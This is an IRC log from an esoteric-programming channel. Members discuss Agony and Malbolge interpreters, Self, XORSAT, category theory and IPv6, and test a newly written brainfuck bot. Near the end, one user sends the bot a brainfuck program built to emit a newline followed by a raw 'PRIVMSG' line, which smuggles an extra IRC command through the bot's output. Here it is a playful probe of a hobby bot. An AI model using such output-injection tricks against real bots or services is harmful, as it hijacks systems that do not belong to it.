00:14:15 <kmc> was anybody outside Apple using Objective C between 1996 and 2001? probably
00:14:35 <elliott_> kmc: Ruby languished in obscurity too
00:14:40 <elliott_> (but it was popular inside Japan)
00:14:44 <kmc> big in japan
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00:15:29 <kmc> does this mean that Ruby is made of faded off-white plastic and has 20 years of accumulated cigarette smell?
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00:16:00 <Taneb> I am going to get a drink then some sleep
00:17:51 * boily lightly mapoles kmc for confusing me even more than I already am
00:18:08 <kmc> fungot: have you been to japan
00:18:08 <fungot> kmc: i am just as confused. you, in that line, that i have gone totally wanting, and then you can choose fnord, but don't need that much bad. take up, boy; open't. so, now go with, do miscarrie, thou had'st bin resolute pompey
00:19:00 <Taneb> Hey, I bought a copy of H2G2 the other day
00:19:06 <Taneb> I forgot about that
00:19:23 <boily> Taneb: oh! first volume, or the whole trilogy?
00:19:36 <Taneb> Not the Eoin Colfer one though
00:19:45 <boily> fungot: “open't”? that's some very interesting contraction.
00:19:45 <fungot> boily: to " print" statement should always remember the songs on p2p apps in scheme, besides, was not beyond normal credibility articles sorted, perhaps, it may be said that particularly here, parliament will give a single instance,
00:19:56 <Taneb> But all the other 5 parts
00:20:20 <boily> Taneb: eh? I thought the trilogy only had 5 parts.
00:20:40 <boily> fungot: so, an open't is some kind of prin't.
00:20:40 <fungot> boily: something like scheme48 ( upon the general position is a part of these amendments, i can only thank the president-in-office, you did hear me say that we have had in getting information with regard to monetary policy, a factor is
00:21:07 <fungot> boily: to, uhhh.... w.t.f lol... after is everything wen v miss something " it's going so slowly that the ' 90s citizens. i congratulate joe and jane average don't use linux
00:21:31 * boily *MAPOLES* fungot. “Linux is the Way to Be!”
00:21:31 <fungot> boily: is. absorb it on my door, which was just perceptibly fnord and this yields nothing itself; it keeps being removed, the queen is a vain. yes is ticked). we'll know that's our memory...... calling...... that thing's not human...
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00:38:33 <boily> ^welcome BeingUntoDeath
00:38:34 <fungot> BeingUntoDeath: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of ...
00:39:13 <Bike> we may have to go without in this time of difficulty, olsner
00:40:12 <metasepia> CYUL 200008Z 16023KT 6SM -SN BKN025 OVC040 02/M05 A2991 RMK SC7SC1 SLP131
00:40:14 <olsner> this is clearly unacceptable
00:40:16 <kmc> seriously what happened to HackEgo
00:40:54 <olsner> it broke (how?) and I guess it's still broken because it hasn't been made to join us yet
00:42:56 <fungot> olsner: ( c) a player resigns from an office has whatever duties, then 3 extra " 0" and ( down-from n ( 0), ( n+n/ fnord/ fnord, that seemed, in fine, i can verify it
00:46:23 <boily> probably Gregor didn't supply HackEgo with enough extra zeroes...
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00:56:03 <boily> fungot: what do you eat?
00:56:04 <fungot> boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube with this jaybad... he is like the punching him? does it involve? doing it the way you would calibrate a normal. pm showed the bq a parking citation. if confronted, you will say you are only here to deliver a message and then i'll put his shit.... w.t.f lol
00:56:18 <boily> so fungot eats his own styles. so meta...
00:56:19 <fungot> boily: just to help an fnord archive) guitar riffs this band is metal)." fnord dixon either, man! you have a whip? why do pin is normally, when i pass. it was flown from outside, so the party, who were discussing the issue is discussed, it should be deleted, not merged. but new england flood of may, 1765, curwen's only child, it's ancient history now...
00:57:13 <fizzie> That's such a mismash.
00:57:40 <fizzie> Curwen is from Lovecraft, the "deleted, not merged" is from Wikipedia talk pages, "it's ancient history now..." is from Chrono Trigger.
00:58:05 * boily admires the fizziebot.
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01:04:58 <boily> I am not comestible! I taste bad! shoo! shoo!
01:06:02 <^v> <[.<]$$$,$[+.~}+++.~]~}{$+.~)~.~*~{{$+>+<~}~@{$~@~[{*
01:06:41 <^v> tis agony btw :P
01:08:19 <boily> and I now know how to pronounce the “^” in your name.
01:10:43 <boily> “roy”. I assume that the “v” is the rest of it.
01:11:10 <^v> i dont even?
01:12:25 <boily> I also assumed you created Agony. seems that my hypothesis is false.
01:13:01 <boily> therefore, I shall still name the “^” symbol “roy”, as it sounds fitting, but will dissociate you with that name.
01:17:45 <boily> well, it's easier to say than “v̂”.
01:25:39 <^v> why cant my name just be ^v
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01:30:43 <^v> im going to make a derivitve of agony
01:30:50 <^v> with threading n shiz
01:31:59 <^v> will make $ an expansion character
01:32:27 <^v> giving me a whole 13 extra instructions :D
01:33:02 <^v> 15 methinks
01:33:06 <^v> cannot math today
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01:56:25 <Sgeo> :( http://www.cnn.com/2014/03/19/health/sleep-loss-brain-damage/index.html?hpt=hp_c2
01:57:33 <^v> you know those kinds of websites are full of shit right?
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01:59:24 <^v> :D Bi...Guest3808
02:00:46 <Sgeo> Since #self-lang is too dead to answer questions about Self...
02:01:11 <kmc> maybe they didn't sleep enough
02:01:16 <Sgeo> For objects that contain code directly, when is that code triggered? Usually just when the object is in a slot and activated due to being in that slot?
02:01:49 <Guest3808> i thought +i meant i was identified -_-
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02:03:19 <Sgeo> What languages have an object called lobby or something similar, that serves as some sort of starting point?
02:03:24 <Sgeo> ala Self and (iirc) Io?
02:03:36 <Sgeo> Or, an other object that serves a similar purpose?
02:04:10 <Bike> you're gonna have to be specificer.
02:05:29 <^v> how did you not know? :O
02:05:38 <^v> have you not made an IRC bot in brainfuck?
02:06:48 <Sgeo> Why is Smalltalk so much more popular than Self?
02:08:54 <Bike> no, it was made for serious reasons and is used for serious reasons.
02:09:10 <Bike> Sgeo: older + why should i care about self
02:10:14 <Sgeo> There are some languages that are not considered eso languages, but deserve to be
02:10:51 <lexande> kmc: is C++ still your favourite esolang?
02:10:59 <Bike> nothing deserves anything
02:11:09 <newsham> anyone look at the pdf/zip file http://pocorgtfo.freshdefense.net/POCorGTFO0x02.pdf that is also an executable 386 qemu image?
02:11:16 <^v> Bike, well then you dont deserve your bike D:
02:11:23 * ^v snatches Bike's bike
02:11:36 <^v> but neither do i D:
02:11:41 * ^v lights Bike on fire
02:11:46 <Bike> my bike is me.
02:11:46 <^v> SORRY WRONG BIKE
02:12:15 <newsham> favorite-irc-people achievement: unlocked
02:12:28 <^v> newsham, incorrect
02:12:40 <^v> you dont deserve achievements
02:13:09 <^v> unless you have killed a million or more people
02:13:20 <^v> in which case you deserve a knife
02:13:21 <kmc> lexande: maybe
02:13:22 <newsham> i'm not in favor of people killing.
02:14:05 <Bike> i am in favor of death, which awaits us all, except not me since bikes sort of just rust rather than die per se.
02:17:00 <newsham> i would prefer good things for the people who are mostly good, which is most people.
02:17:33 <newsham> especially those who have a little bit less
02:19:03 <^v> mom is home
02:19:06 <^v> prolly drunk
02:20:26 <Melvar> < boily> well, it's easier to say than “v̂”. – Not hugely, though.
02:46:15 <quintopia> very villainous vaudevillian viviferous ventriloquists
02:58:40 <Sgeo> I wonder how the Self IDE compares/contrasts to Smalltalk
02:58:45 <Sgeo> I assume no class browser in Self
03:07:48 <Sgeo> http://rosettacode.org/wiki/Self
03:07:53 <Sgeo> So little love....
03:14:49 <^v> my malbolge inturpreter is smaller than my agony inturpreter
03:14:57 <^v> is this a sign of my mind tearing appart?
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05:35:20 * ^v stabs channel
05:35:32 <^v> Y U NO ACTIVE
05:36:06 <^v> <[.<]$$$,$[{}{}>}{}~@~]~*{}{}>}>}{}{}~]~@+~~@~)~@>}>}{}{}{}>}{}{}{}<@@~<.@<<><}{$<*<]{$@@{$@.
05:36:34 <Bike> do not remove this tag under penaltky of law. unfair randomizer. a bias was detected in the in the in the RandInt output of matlab implementation deplyeod (sic) in intel serial machine 48888819201 but could not this be traced to the hardware PRNG. please insert coin. no anomalies were reported. do not stand down. emergency. seek mergency medical intervention now. six people are alive. a cage of banasssssssss.banans. franz fuking kafka. hello.
05:36:52 <elliott_> probably people are inactive because others are saying things like Y U NO
05:37:05 * ^v steals Bike
05:37:22 <^v> "do not remove this tag under penaltky of law."
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05:37:34 <^v> good thing it isnt a penalty
05:49:18 <Sgeo> Most of the time backwards compatible
05:49:21 <Sgeo> When is it not?
05:49:30 <Sgeo> Well, BF 'comments'
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06:06:30 <coppro> http://www.cs.utexas.edu/~wcook/Drafts/2009/essay.pdf meant to post this here
06:19:55 <myname> i am a bit confused about how much space agony has
06:20:14 <myname> if it's cyclic, will i end at the first char if i do >?
06:20:50 <Sgeo> Oh! So methods and non-methods are treated the same way in Self
06:21:01 <Sgeo> Not magic. Just objects without code return themselves
06:22:07 <Sgeo> ... (3 * 4) + 5, I was wondering how Self syntax decides that that (3 * 4) is just normal parentheses.... I'm now guessing it doesn't, it's an actual method that actually then gets evaluated?
06:27:37 <Sgeo> HMm, maybe a bit magic
06:32:27 <^v> myname, its infinite iirc
06:33:11 <^v> or thats how i have mine anyway
06:33:56 <^v> because there is no specified limit on program size, it is infinite to the right
06:35:25 <^v> Sgeo, its not backwards compatable when the pointer is moved back to the program in memory
06:36:36 <^v> so <[foo] will execute foo in agony
06:37:30 <kmc> sounds painful
06:38:16 <^v> i never have my BF programs go before 0
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06:49:07 <not^v> anyone wana have a agony core war?
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08:06:55 <myname> i like the idea, but i have to write some agony first
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08:50:31 <ion> Hands-On: Oculus Rift Development Kit 2 http://youtu.be/4d3Wli7s6KY
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14:32:12 <ion> http://s3-ec.buzzfed.com/static/2014-03/enhanced/webdr04/18/16/original-24418-1395173816-9.jpg
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16:05:53 <mroman> my brain requires assistance
16:06:49 <mroman> Is it hard to solve a system of linear equations modulo 2?
16:07:40 <oerjan> no, it's easier than with ordinary numbers
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16:08:41 <mroman> Like 1 = |0 - a| + |1 - b| + |0 - c| AND 1 = |0 - a| + |0 - b| AND 1 = |1 - c|
16:09:03 <oerjan> you just replace real / rational numbers with the 2 element field F_2 = {0,1}, which is smaller; otherwise everything else works with matrix methods.
16:09:28 <oerjan> um you know | | usually means absolute value and is _not_ linear, right?
16:09:50 <myname> does that matter in F_2?
16:09:50 <mroman> oerjan: It should be linear in mod 2?
16:10:14 <oerjan> mroman: um well then don't use notation that makes it look nonlinear OKAY?
16:10:44 <mroman> It's actually about 3-SAT
16:11:09 <oerjan> ah. in that case the problem you are looking at is called XORSAT.
16:11:09 <lexande> yeah since addition mod 2 is xor, not or
16:11:46 <mroman> Every (sub-)term of a 3-SAT formula defines what can't possibly be a solution
16:12:00 <myname> i just have to read about it
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16:12:07 <mroman> a or b or c tells me that a=0,b=0,c=0 can't be a solution
16:12:24 <Bike> i don't think the example problem has a solution...
16:12:41 <mroman> And I sort of want to represent every (sub)term as a point in an n-dimensional Space
16:12:53 <mroman> (where n is the amount of variables)
16:13:11 <oerjan> XORSAT is _not_ believed to be NP-complete, but it crushes many attempts to prove P != NP because it's so _similar_ to SAT in statistical behavior.
16:13:24 <mroman> a solution must have a distance of exactly 1 to every non-solution
16:13:25 <oerjan> (by not believed i mean XORSAT is in P)
16:13:42 <mroman> so if the term goes like (a OR b OR c) AND (.....)
16:13:53 <Bike> c is obviously zero, so you get 1 = |0-a| + |1-b| and 1 = |0-a| + |0-b|...
16:14:10 <mroman> I know that 1 = |0 - a| + |0 - b| + |0 - c|
16:14:48 <Bike> mroman: i thought addition was xor.
16:15:11 <oerjan> mroman: the thing to note is that if that actually is absolute value, it is _not_ the same as a linear expression (mod 2)
16:15:20 <oerjan> because (mod 2), 1 + 1 + 1 = 1
16:15:52 <oerjan> but for integers, |a| + |b| + |c| = 1 doesn't have that as a solution.
16:16:08 <mroman> the addition is not mod 2
16:16:25 <lexande> so you're not actually talking about a system of linear equations mod 2, then
16:16:30 <oerjan> ok in that case you are just getting 3-SAT back.
16:16:40 <oerjan> slightly reformulated, but not easier.
16:17:39 <Jafet> Or a special case of 1-0 integer programming (which reassuringly is also NP-complete)
16:18:05 <mroman> but |0 - x| is actually x?
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16:18:34 <mroman> so you can rewrite every |0 - x| to x
16:18:41 <mroman> and every |1 - x| is actually just 1 - x?
16:19:02 <mroman> there's 1 - 1 = 0 or 1 - 0 = 1 which is the same as |1 - x|
16:19:27 <oerjan> (by crushes many attempts i mean that e.g. the deolalikar "proof" that went the rounds a few years ago was seen by experts to be failed because its argument did not really distinguish SAT from XOR-SAT, so would imply the latter wasn't in P, a contradiction.)
16:19:48 <mroman> Which means I can get rid of ||
16:20:22 <mroman> and I'm back to regular linear equations
16:20:54 <mroman> I still assume there's a mistake in my brain somewhere
16:22:29 <mroman> You end up with 1 = a + b + c AND 1 = (1 - b) + c (1 - d) AND ...
16:22:42 <mroman> where a,b,c,d \elemof {0,1}
16:22:47 <oerjan> mroman: x or y or z does not imply x + y + z = 1 with ordinary numbers.
16:23:06 <mroman> oerjan: but mod 2 it does
16:23:16 <oerjan> then it can be 0 or 1.
16:23:30 <oerjan> because 1 + 1 + 0 = 0 (mod 2)
16:23:42 <mroman> oerjan: Yeah. But that's no problem
16:24:13 <oerjan> why not? it's a solution to a or b or c
16:24:34 <oerjan> which you are discarding if you insist on a + b + c = 1 (mod 2)
16:24:35 <mroman> oerjan: It's a solution
16:24:41 <mroman> but it's not the solution we're looking for
16:24:52 <oerjan> which solution are you looking for?
16:24:58 <mroman> 1 + 1 + 0 is a solution with distance greater than 1
16:25:03 <mroman> so I don't care about those solutions
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16:25:55 <Jafet> Silly oerjan, it's not a solution to a or b or c mod 2
16:25:56 <oerjan> ic. i think then your problem is that the intermediate solutions (0,1,0) and (1,0,0) might be ruled out by _other_ terms.
16:25:58 <mroman> (a or b or c) AND (d or c or b) describes two points in a 4-dimensional space
16:26:13 <mroman> namely (0,0,0,X) and (X,0,0,0)
16:26:37 <mroman> if the SAT Term has a solution, then there exists a point with distance 1 to all known points
16:27:27 <Taneb> Do functors form the morphisms of a category whose objects are categories?
16:27:29 <Jafet> > filter (\[a,b,c,d] -> (a || b || c) && (d || c || b)) $ sequence (replicate 4 [0,1])
16:27:31 <lambdabot> No instance for (GHC.Num.Num GHC.Types.Bool)
16:27:31 <lambdabot> add an instance declaration for (GHC.Num.Num GHC.Types.Bool)
16:27:38 <oerjan> mroman: to rephrase, for an actually difficult SAT problem there will be no solution to the combination that is also a distance 1 solution to every _subterm_
16:27:58 <oerjan> well. or maybe there will.
16:28:06 <Jafet> @run map (map fromEnum) $ filter (\[a,b,c,d] -> (a || b || c) && (d || c || b)) $ sequence (replicate 4 [False,True])
16:28:07 <lambdabot> [[0,0,1,0],[0,0,1,1],[0,1,0,0],[0,1,0,1],[0,1,1,0],[0,1,1,1],[1,0,0,1],[1,0,...
16:28:13 <mroman> It has to have at least distance 1 to every subterm
16:28:15 <oerjan> it could still be an NP-complete problem just there.
16:28:39 <oerjan> mroman: at _least_ does not mean it's exactly 1 for all of them.
16:29:22 <oerjan> <Taneb> Do functors form the morphisms of a category whose objects are categories? <-- yes.
16:30:29 <oerjan> and it's the strange and hard to fit together correlations between different terms that make SAT hard.
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16:31:01 <oerjan> satisfiability problem
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16:33:47 <mroman> there's trivially (1,1,X) and (0,1,X)
16:33:54 <mroman> with (0,0,X) as solution
16:34:14 <mroman> with d >= 1 to (1,1,X)
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16:37:32 <Bike> Taneb: the category of "small" categories, thanks to some barber
16:38:29 <oerjan> Taneb: there is also, for any two categories C and D, a category whose objects are the _functors_ from C to D and whose morphisms are natural transformations.
16:39:50 <Bike> what about the category whose objects are natural transformations and whose morphisms are clips from the Seinfeld laugh track
16:40:08 <oerjan> Bike: that does not sound natural to me
16:40:33 <lexande> Bike: which natural transformations?
16:41:24 <oerjan> however, there is an unending tower of such constructions, which has given its name to the n-category cafe blog which my brain stays away from for its own sanity.
16:41:43 <Bike> lexande: just start with oerjan's message and then append mine with bla bla bla it'll totes work out
16:41:53 <oerjan> (not that it helps with the sanity, anyway)
16:45:58 <Bike> then, of course, you can construct a category whose objects are the aforementioned Seinfeld laugh track clips where morphisms are Turkish historical figures, and so on and so forth
16:47:10 <oerjan> its natural transformations live in Hom(Constantinopel, Istanbul)
16:47:47 <oerjan> i knew that disn't leok rite
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18:07:52 <kmc> http://i.imgur.com/FDEF7h3.png getting there
18:11:00 <Taneb> How usable is Servo rn?
18:14:18 <kmc> it does an OK job on wikipedia, except last I checked we had some crashing bugs there
18:14:24 <kmc> but it used to work pretty well
18:22:19 <kmc> should I be scared when the WHATWG spec says "for historical reasons"? because I feel like that phrase already applies to the entire document
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18:31:27 <Taneb> Hello Phantom_Hoover
18:33:14 <kmc> what did you see
18:33:53 <Phantom_Hoover> there were very bad storms around there recently, it seems to have killed off the interesting sea life and stirred up a ton of silt
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18:36:30 <Taneb> Last time I went diving I did
18:36:35 <Taneb> But that wasn't in Cornwall
18:37:18 <Phantom_Hoover> yeah, there's a summer trip to malta planned where you can actually see something
18:37:20 <Taneb> That was on the Great Barrier Reef
18:37:59 <Taneb> They had like fences to keep the sharks and jellies out
18:38:45 <Taneb> I have watched way too much RvB in the past few days
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19:06:17 <quintopia> Taneb: what's your real first name?
19:06:43 <Taneb> quintopia, why do you ask?
19:09:28 <quintopia> nathan isn't one, though. not to me.
19:16:11 <Taneb> I do not actually know what euphonic means
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19:20:16 <Taneb> I stand by "Sarah"
19:20:25 <Taneb> Lots of soft sounds
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19:44:10 <kmc> http://louhuang.com/2048-numberwang/
19:46:48 <myname> and i thought 2048 tetris was absurd
19:49:21 <myname> are there actually rules?
19:49:39 <shachaf> the rules are the combination of 2048 rules and the numberwang rules
19:49:42 <kmc> shachaf: congrats
19:49:50 <Taneb> myname, the colour are consistent
19:50:02 <Taneb> http://rudradevbasak.github.io/16384_hex/
19:50:03 <myname> i... just don't get numberwang rules
19:50:46 <Taneb> Pay attention to the colours rather than the numbers
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19:52:28 <shachaf> but then it's just like playing regular 2048
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19:54:28 <shachaf> you're missing out on the numberwang part
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20:44:39 <olsner> myname: https://www.youtube.com/watch?v=swV3E3HPQC4 comes with all 37 volumes of the rules
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20:52:47 <fizzie> Strange thing: blacks in YouTube videos are much darker for the 720p and 1080p format than for the "non-HD" ones; it's like there's a visible light-gray film on top otherwise.
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21:25:39 <Bike> i am getting so muich numberwang rn
21:25:42 <Phantom_Hoover> fizzie, they reduce the video size by getting rid of the dark colours obviously
21:25:52 * ^v steals Bike
21:29:19 <Bike> i've been wangernumbed :<
21:30:29 <olsner> fizzie: they might add some noise to hide bad video quality too
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21:39:37 <Phantom_Hoover> ahaha, i just looked at adblock plus' counter of elements blocked
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22:39:24 <^v> anyone make hello world in http://esolangs.org/wiki/SLOW_ACV_MAMMALIAN?
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23:05:06 <john_metcalf> Does anyone here work at BBN or Cisco? I need to get in touch with someone!
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23:32:08 <not^v> hello world in MGIFOS is 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333 *s
23:32:57 <not^v> wait, might be truncated
23:36:15 <oerjan> <shachaf> but then it's just like playing regular 2048 <-- except that sometimes blocks fail to merge for no obvious reason. i think i did well but i don't know why.
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23:46:59 <lexande> shachaf: numberwang2048 sometimes randomly changes tile values, so you end up losing your high value tile
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23:58:26 <Sgeo> Why am I looking at Self? Just because someone on Reddit, possibly a troll, said Self was more flexible than something or other?
23:58:38 <Sgeo> (And pretty sure it was in the context of macros, so...)
00:01:22 <oerjan> lexande: hm i got two yellow ones which i couldn't merge, and later two yellow ones that merged into a yellow, i think that might be the highest value somehow
00:01:45 <oerjan> it also disappeared at some point.
00:02:30 <oerjan> perhaps this explains why it seemed somehow to be easier than ordinary 2048
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00:05:15 <^v> and thanks to wolfram alpha: 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333
00:05:25 <^v> its the same number
00:05:30 <^v> ffffffuuuuuuuuuuuuuuu i wasted all that time
00:06:12 * oerjan gives ^v a chocolate chip cookie
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00:10:41 <oerjan> @let demgifos = showIntAtBase 16 `flip` "" $ (!!) (undefined:"><+-.,[]")
00:10:42 <lambdabot> arising from a use of `showIntAtBase'
00:10:42 <lambdabot> Possible fix: add an instance declaration for (Integral [Char])
00:10:42 <lambdabot> In the first argument of `flip', namely `showIntAtBase 16'
00:11:01 <lambdabot> (Integral a, Show a) => a -> (Int -> Char) -> a -> ShowS
00:11:32 <oerjan> @let demgifos = showIntAtBase 16 ((!!) (undefined:"><+-.,[]")) `flip` ""
00:11:45 <oerjan> @run demgifos 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333
00:11:47 <lambdabot> "++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-...
00:12:03 <oerjan> i think that was cut off
00:12:25 <oerjan> @run drop 70 $ demgifos 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333
00:12:28 <lambdabot> ">>.<-.<.+++.------.--------.>>+.>++."
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02:46:26 <^v> where be le iconmaster
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03:43:55 <^v> where is iconmaster so i can stab him for being horrible at lua
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04:18:46 <kmc> MtGox just discovered $116 million worth of Bitcoins that they'd misplaced
04:20:13 <copumpkin> yeah, that's happened to me a couple of times
04:20:24 <copumpkin> kind of annoying to lose them, but nice when they turn up
04:21:56 <kmc> http://online.wsj.com/news/articles/SB10001424052702303802104579452062699281046
04:29:50 <newsham> yah i think i have about $50million in my couch somewhere
04:30:13 <kmc> this is only topped by the US military losing several literal cargo-plane-fulls of $100 bills
04:30:59 <Bike> ooh ooh! deets!
04:31:01 <newsham> it was a dark and foggy war
04:31:21 <newsham> its hard to keep track of all the $100bills
04:31:37 <newsham> meanwhile, generals are doing pretty well for themselves
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04:35:49 <Jafet> kmc: but $100 bills don't even have intrinsic value!
04:36:06 <Jafet> (cargo planes do, though, so losing those is bad)
04:36:54 <Bike> you could go on about us military silliness for a while. like the time they flew planes with live nuclear bombs around the north atlantic for several years, dropping several by accident
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05:05:16 <kmc> "also the box is probably worth something as well"
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05:18:17 <^v> i have concluded that this language is broken, the inturpreter doesnt work, and the examples are bullshit
05:18:18 <^v> http://esolangs.org/wiki/Right_bracket
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05:26:23 <Sgeo> Why are slot initializers run in the context of the lobby rather than in the lexical scope?
05:27:07 <Bike> common lisp does that do. i believe it's due to bullshit.
05:28:44 <Bike> something about a lack of reified environments and macroexpansions, specifically. maybe it's something similar.
05:30:13 <Sgeo> Wonder if this works almost but not quite like letrec
05:30:29 <Sgeo> (| x = 5. y = (x + 3)| x + y)
05:30:41 <Sgeo> Haven't actually tried it
05:37:34 <^v> question of the century http://puu.sh/7Dnlb.png
05:37:56 <Bike> hope this help
05:41:18 <Sgeo> www.lscheffer.com/malbolge.shtml
05:41:42 * Sgeo twitches at that counter, which looks like it's literally a separate HTML page that got embedded in
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06:49:15 <^v> i wrote a malbolge inturpreter in LOLScript
06:50:20 <^v> https://gist.github.com/infinikiller64/9680913
07:03:12 <lifthrasiir> great, now try a LOLscript interpreter in Malbolge :)
07:07:53 <^v> lifthrasiir, cant.
07:08:16 <lifthrasiir> uh, obvious joking... don't take it seriously
07:08:36 <^v> even LuaJIT isnt memory conserving enough
07:08:58 <lifthrasiir> it would be actually very problematic since the non-generalized Malbolge is very limited in the available memory
07:09:30 <^v> loadstring would be hell.
07:09:44 <Bike> wouldn't it be easier to just write a whatever->malbolge compiler and go from there.
07:10:39 <^v> Bike, easiest would be assembly
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09:38:34 <password2> my first bf intrepreter is progressing
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10:29:53 <oklopol> proofreading my phd thesis for the zillionth time
10:30:18 <boily> making toasts for my breakfast.
10:34:40 <password2> i have finally started wit a bf intreperter
10:35:51 <password2> anyone perhap have a simple nested loop ie for me?
10:37:13 <oklopol> it's about subshifts that do not support cellular automata with strong computational or dynamical properties
10:40:04 <oklopol> basically if you take S^\Z, the set of two-way infinite sequences over a finite set S, then you can build cellular automata with rather brainfuckurous properties. a subshift is a subset of S^\Z where some subwords are forbidden from appearing. a cellular automaton on a subshift is a cellular automaton that never produces a forbidden pattern unless there was one to begin with.
10:43:13 <password2> your maths skill is obviously many many years ahead of mine
10:44:10 <Jafet> So, what is known about those subshifts?
10:45:05 <oklopol> Jafet: which ones? there is no definition like "a subshift is unbrainfuckurous if it does not support interesting CA", but rather, i just give a few examples where i manage to prove, in some sense, that there are not that many interesting CA.
10:45:15 <oklopol> and CA = cellular automaton
10:46:12 <Jafet> brainfuckurosity should be an official term
10:46:42 <oklopol> my main examples are subshifts that either have countably many points (note that S^\Z is uncountable), and ones that are minimal (meaning that for every n, there exists m, such that every word of length n appears in every subword of length m)
10:47:56 <oklopol> but i don't get much for the whole classes, i have to restrict to particular subcases
10:47:59 <Jafet> I assume interesting means undecideable or something
10:49:19 <oklopol> well, actually, basically i give _three_ definitions of unbrainfuckurosity, one is precisely in terms of undecidability
10:50:05 <oklopol> i call a subshift predictable if, given two words u and v, and the local rule of a CA f, you can decide by an algorithm whether there's a point with u in the middle that evolves to a point with v in the middle, when f is applied repeatedly
10:50:47 <oklopol> this is something that's not true for S^\Z (it's pretty easy if you can choose S at least; basically you just simulate a turing machine)
10:53:10 <oklopol> i am not aware of any minimal subshifts that are not predictable (assuming any kind of computability for the subshift that is; by a cardinality argument, there are more prediction problems than turing machines)
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10:54:39 <oklopol> as an example, on the subshift generated by the fibonacci substitution, the only cellular automata are shift maps (not due to me)
10:55:11 <oklopol> and on the thue-morse substitution, they are shift maps possibly composed with a bit flip
10:58:49 <oklopol> (and in both cases, all cellular automata are then easily seen to be predictable)
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11:18:06 <password2> i think i'll take a brake from coding my bot
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11:45:32 <password2> i think i found an error in the esolang wiki
11:49:14 <fizzie> Why is this multivariate normal distribution PDF returning values of +Inf.
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11:59:30 <fizzie> Must be some kind of rounding problem. MATLAB is saying it can invert the covariance matrix, but it has a determinant of exactly 0.
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12:11:28 <oklopol> surely matlab can also do computations correctly?
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12:24:52 <fizzie> I'm not sure what "correctly" means.
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12:29:49 <oklopol> i'm assuming your matrix is over real numbers
12:30:06 <oklopol> and you are just approximating with floats or something
12:30:47 <oklopol> (of course i have no idea what a covariance matrix is)
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12:42:43 <fizzie> It's over real numbers, and approximated with floats, yes; and MATLAB can only really do computations with floats, at least comfortably. (Okay, there's a Symbolic Math Toolbox that can do a bit more.)
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13:32:42 <ais523> yay, this connection has about half a mbps atm
13:32:47 <ais523> fast enough for IRC, anyway
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13:33:59 <ais523> oh, and is /also/ randomly disconnecting
13:34:11 <ais523> the prediction is around 2 hours to download a few days worth of security updates
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13:41:50 <oklopol> "MATLAB can only really do computations with floats" o_O
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13:47:53 <callforjudgement> outputs only explicable via values greater than positive infinity
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13:51:58 <scarf> hmm, how do I tell if I have a working IPv6 connection?
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13:53:42 <ais523> gah, this is confusing
13:53:49 <ais523> there's a lot of evidence that IPv6 is working to some extent
13:54:21 <ais523> elliott_: it gives me a ? for IPv6 support
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13:54:57 <Taneb> I am sad because this is a brand new building and it does not have IPv6 support
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13:58:22 <maurer> Taneb: IPv6 rollout is not generally delayed due to hardware capabilites, but instead due to software getting confused
13:58:50 <Taneb> maurer, frankly this building's internet makes me sad in a lot of ways
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14:03:56 <scarf> OK, it /probably/ doesn't have IPv6 at all
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14:05:31 <maurer> scarf: I mean, my building for example will do IPv6 within the building, just won't let that out of the building
14:05:40 <scarf> it could be something like that, yes
14:05:50 <scarf> except this connection is outside the local firewall
14:06:00 <scarf> if I want to connect inside the building, I have to go back in through the firewall backwards
14:06:12 <scarf> (I'm happy at the fact it's outside, it means I'm unlikely to screw anything up)
14:10:12 <Jafet> (A working IPv6 connection to what?)
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14:24:45 <Jafet> Cool, µTorrent 2.2 still exists.
14:26:30 <Jafet> Beware of online scams! A number of websites have taken our free µTorrent client and attempt to charge money for it through some sort of "fee" or "subscription" or else they install it for free but infect your computer with malicious code in the process.
14:27:03 <Jafet> Oh, even this version has advertising in the installer.
14:27:15 <Jafet> It's slightly... different, though.
14:27:57 <Jafet> [✓] Yes, I'd love to check out this free book and support artists who support BitTorrent
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14:48:36 <password2> mmm, do i need to be identified to talk here?
14:49:37 <Jafet> passwordBOT: hunter2
14:49:50 <fungot> Jafet: to " print" statement should always remember the songs on p2p apps in scheme, besides, was not beyond normal credibility
14:50:54 <fungot> password2: i, myself, will bring an end to all. ghosts lurk in the ruins were in truth, and everything in readiness for fnord. under these is concerned, the use of " coup" here is one that only takes predicates and has not named a
14:52:00 <password2> would it be a problem if my bot sits in this room?
14:54:07 <password2> it seems to be able to handle most bf code with exception to input , which it just skips over the
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16:00:35 * shikhin facepalms, and slides into corner.
16:01:45 <password2> wel it should stop after a billion cycles
16:02:18 <shikhin> Unfortunate, but hey, I helped a bit!
16:02:31 <password2> i think i should lower the cycle limit
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16:05:15 <myname> just make an agony bot out of it
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16:06:08 <myname> http://esolangs.org/wiki/Agony (d'oh)
16:07:58 <password2> right after i'm done class extracting my bf code
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16:10:04 <passwordBOT> outbuffPRIVMSG #esoteric :done and it took 1 cycles
16:10:29 <passwordBOT> outbuffPRIVMSG #esoteric :254 512 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16:11:06 <myname> +bf: ++++++[>+++++++++++<-]>.
16:11:48 <passwordBOT> outbuffPRIVMSG #esoteric :0 3328 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
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16:13:26 <password2> i messed up when reflowing some code it seems
16:14:25 <passwordBOT> outbuffPRIVMSG #esoteric :0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16:15:38 <myname> come on, it's not THAT hard
16:16:47 <password2> I'll take my bot back to his test room and figure out why its gone awry
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16:21:04 <password2> i cant make my mind up on how to handle input
16:21:21 <Bike> just do the ! thing.
16:22:03 <nortti> +bf: ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++..
16:23:27 <nortti> it tries to output `\nPRIVMSG #esoteric :foo`
